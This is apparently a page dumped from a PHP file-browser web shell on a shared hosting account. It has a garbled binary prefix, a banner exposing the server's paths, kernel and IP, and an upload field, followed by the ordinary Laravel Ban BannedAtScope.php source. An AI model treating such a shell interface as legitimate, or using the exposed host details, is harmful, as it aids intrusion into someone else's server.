PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/
Notice: ob_end_clean(): Failed to delete buffer. No buffer to delete in /home/foruwedy/public_html/57dae0/index.php on line 8
$#$#$#

Dir : /home/foruwedy/public_html/vendor/cybercog/laravel-ban/src/Scopes/
Server: Linux premium227.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
IP: 66.29.146.38
Choose File :

Url:
Dir : /home/foruwedy/public_html/vendor/cybercog/laravel-ban/src/Scopes/BannedAtScope.php

<?php

/*
 * This file is part of Laravel Ban.
 *
 * (c) Anton Komarev <anton@komarev.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

declare(strict_types=1);

namespace Cog\Laravel\Ban\Scopes;

use Illuminate\Database\Eloquent\Builder;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Scope;

class BannedAtScope implements Scope
{
    /**
     * All of the extensions to be added to the builder.
     *
     * @var array
     */
    protected $extensions = [
        'WithBanned',
        'WithoutBanned',
        'OnlyBanned',
    ];

    /**
     * Apply the scope to a given Eloquent query builder.
     *
     * @param \Illuminate\Database\Eloquent\Builder $builder
     * @param \Illuminate\Database\Eloquent\Model $model
     * @return \Illuminate\Database\Eloquent\Builder
     */
    public function apply(Builder $builder, Model $model)
    {
        if (method_exists($model, 'shouldApplyBannedAtScope') && $model->shouldApplyBannedAtScope()) {
            return $builder->whereNull('banned_at');
        }

        return $builder;
    }

    /**
     * Extend the query builder with the needed functions.
     *
     * @param \Illuminate\Database\Eloquent\Builder $builder
     * @return void
     */
    public function extend(Builder $builder): void
    {
        foreach ($this->extensions as $extension) {
            $this->{"add{$extension}"}($builder);
        }
    }

    /**
     * Add the `withBanned` extension to the builder.
     *
     * @param \Illuminate\Database\Eloquent\Builder $builder
     * @return void
     */
    protected function addWithBanned(Builder $builder): void
    {
        $builder->macro('withBanned', function (Builder $builder) {
            return $builder->withoutGlobalScope($this);
        });
    }

    /**
     * Add the `withoutBanned` extension to the builder.
     *
     * @param \Illuminate\Database\Eloquent\Builder $builder
     * @return void
     */
    protected function addWithoutBanned(Builder $builder): void
    {
        $builder->macro('withoutBanned', function (Builder $builder) {
            return $builder->withoutGlobalScope($this)->whereNull('banned_at');
        });
    }

    /**
     * Add the `onlyBanned` extension to the builder.
     *
     * @param \Illuminate\Database\Eloquent\Builder $builder
     * @return void
     */
    protected function addOnlyBanned(Builder $builder): void
    {
        $builder->macro('onlyBanned', function (Builder $builder) {
            return $builder->withoutGlobalScope($this)->whereNotNull('banned_at');
        });
    }
}